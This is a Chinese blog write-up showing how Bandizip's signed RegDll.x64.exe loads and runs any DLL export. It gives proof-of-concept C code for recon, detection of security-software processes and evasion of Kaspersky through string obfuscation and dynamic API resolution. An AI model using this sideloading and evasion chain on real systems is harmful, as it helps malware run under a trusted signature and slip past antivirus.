Bandizip 签名程序 RegDll 实现 DLL 白加黑加载
0x00 背景
前几天在吾爱破解上看到一篇帖子,作者 xiaojiakeji 提到 Bandizip 安装目录下 data\ 文件夹里有两个自带 exe:RegDll.x64.exe 和 RegDll.x86.exe。这两个文件带有 Bandisoft 官方的有效数字签名,并且支持命令行参数直接加载并调用任意 DLL 中的指定函数。
核心命令只有一行:
RegDll.x64.exe /calldll 任意.dll 函数名
这是典型的白加黑利用场景,有签名白文件 + 恶意黑 DLL,可以绕过部分依赖静态签名检测的安全软件。
官方回复不认定为漏洞,理由是 Windows 自带 regsvr32.exe、rundll32.exe 等工具也能干类似的事。这个回复在技术上说得通,但在实际攻防场景里,有有效数字签名的第三方白文件比系统自带工具更容易过检测,这是事实。
本文记录从零开始完整复现这个利用链的整个过程。
0x01 环境
- Windows 11 x64
- Bandizip(安装版,非 Microsoft Store 版),安装后
data\目录下确认存在RegDll.x64.exe - Visual Studio "使用 C++ 的桌面开发"
- 目标机器装有卡巴斯基(用于测试免杀效果)
0x02 编写 DLL
先写一个最简单的 DLL,导出函数 TestFunc,里面弹一个 MessageBox 证明被执行:
#include <windows.h>
__declspec(dllexport) void TestFunc(void) {
MessageBoxA(NULL, "DLL Loaded OK!", "testdll.dll", MB_OK);
}
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
return TRUE;
}
VS 里新建"动态链接库(DLL)"项目,文件后缀用 .c,属性设置:
- C/C++ → 高级 → 编译为 C 代码 (
/TC) - C/C++ → 预编译头 → 不使用预编译头
- 链接器 → 输入 → 附加依赖项:
user32.lib - 平台选 x64
编译后拿到 testdll.dll,放到 Bandizip 的 data\ 目录下。
0x03 验证加载
在 data\ 目录 使用 PowerShell,执行:
.\RegDll.x64.exe /calldll testdll.dll TestFunc
MessageBox 成功弹出。证明 RegDll 确实在无任何校验的情况下,通过 LoadLibraryW + GetProcAddress 加载并调用了指定 DLL 的指定导出函数。
用 x64dbg 附加跟进去,在 kernel32!LoadLibraryW 下断点,可以清楚看到 DLL 路径和函数名从命令行参数一路传进来,最终进入 sub_140003528 直接调用,中间没有任何签名校验、路径白名单或导出名限制。
0x04 扩展:信息收集
把 DLL 功能扩展一下,在被加载时收集一些系统信息并弹窗显示:
#include <windows.h>
#include <VersionHelpers.h>
void ShowReconPopup(void) {
char info[4096] = {0};
char username[256] = {0};
DWORD ulen = 256;
GetUserNameA(username, &ulen);
lstrcatA(info, "User: ");
lstrcatA(info, username);
lstrcatA(info, "\n");
char compname[256] = {0};
DWORD clen = 256;
GetComputerNameA(compname, &clen);
lstrcatA(info, "Computer: ");
lstrcatA(info, compname);
lstrcatA(info, "\n");
lstrcatA(info, "Version: ");
if (IsWindows10OrGreater()) lstrcatA(info, "Win10/11+");
char exePath[512] = {0};
GetModuleFileNameA(NULL, exePath, 512);
lstrcatA(info, "\nHost: ");
lstrcatA(info, exePath);
MessageBoxA(NULL, info, "Recon", MB_OK);
}
__declspec(dllexport) void TestFunc(void) {
ShowReconPopup();
}
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
return TRUE;
}编译后同样用 RegDll 加载,弹窗里能看到当前用户、计算机名、系统版本、以及宿主进程路径(显示为 RegDll.x64.exe 的完整路径)。这说明所有收集行为都发生在 Bandizip 签名进程的上下文里。
0x05 扩展:杀软检测 + 外网 IP
进一步加入两个功能:
- 通过
CreateToolhelp32Snapshot枚举进程,匹配已知安全软件进程名关键字 - 通过
WinHTTP请求httpbin.org/ip获取出口 IP
杀软检测列表覆盖了 360、火绒、Defender、卡巴斯基、腾讯电脑管家、McAfee、ESET 等常见产品。外网 IP 通过 HTTPS 请求获取,解析 JSON 中的 origin 字段。
这部分代码较长,核心逻辑就是进程枚举 + 字符串匹配 + WinHTTP 请求,不再贴全量代码。
0x06 免杀处理:过卡巴斯基静态
上面这些版本在编译后会被卡巴斯基直接删除,原因很明确:
.rdata段里有"calc.exe"等明文字符串- 导入表直接挂了
ShellExecuteA、MessageBoxA - 行为模式(DLL 被签名进程加载后起系统程序)触发启发式
针对这三点逐一处理:
1. 字符串不打明文字面量,用字符数组运行时拼:
char target[] = {'c','a','l','c','.','e','x','e',0};2. API 不写导入表,用 GetProcAddress 动态获取:
char api[] = {'S','h','e','l','l','E','x','e','c','u','t','e','A',0};
SE pSE = (SE)GetProcAddress(hS, api);3. 弹窗改用 MessageBoxW(宽字符),中文不乱码:
char msgApi[] = {'M','e','s','s','a','g','e','B','o','x','W',0};
MBW pMsg = (MBW)GetProcAddress(hU, msgApi);
pMsg(NULL, L"计算器劫持成功!\nRegDll /calldll + DLL 白加黑验证通过",
L"计算器劫持成功", MB_OK | MB_ICONWARNING);4. 弹窗和起 calc 分别放两个线程,同时出现:
CreateThread(NULL, 0, PopThread, NULL, 0, NULL);
CreateThread(NULL, 0, CalcThread, NULL, 0, NULL);编译后用 PE 工具检查:
- 导入表里只有
KERNEL32.dll的基础函数 - 没有
user32.dll、shell32.dll的导入项 - 没有
"calc.exe"连续字符串
最终版本在卡巴斯基环境下可以正常落地,RegDll 加载后弹窗显示"计算器劫持成功",同时计算器被拉起。
0x07 总结
完整利用链回顾:
攻击者准备恶意 DLL(带 TestFunc 导出)
↓
将 DLL 投放到目标机器(任意目录均可)
↓
利用已有 Bandizip 安装(RegDll.x64.exe 带有效数字签名)
↓
命令行调用:RegDll.x64.exe /calldll 恶意.dll TestFunc
↓
RegDll 内部 LoadLibraryW → GetProcAddress → 调用 TestFunc
↓
恶意代码在 Bandizip 签名进程上下文中执行截图

解释有趣收藏,怕丢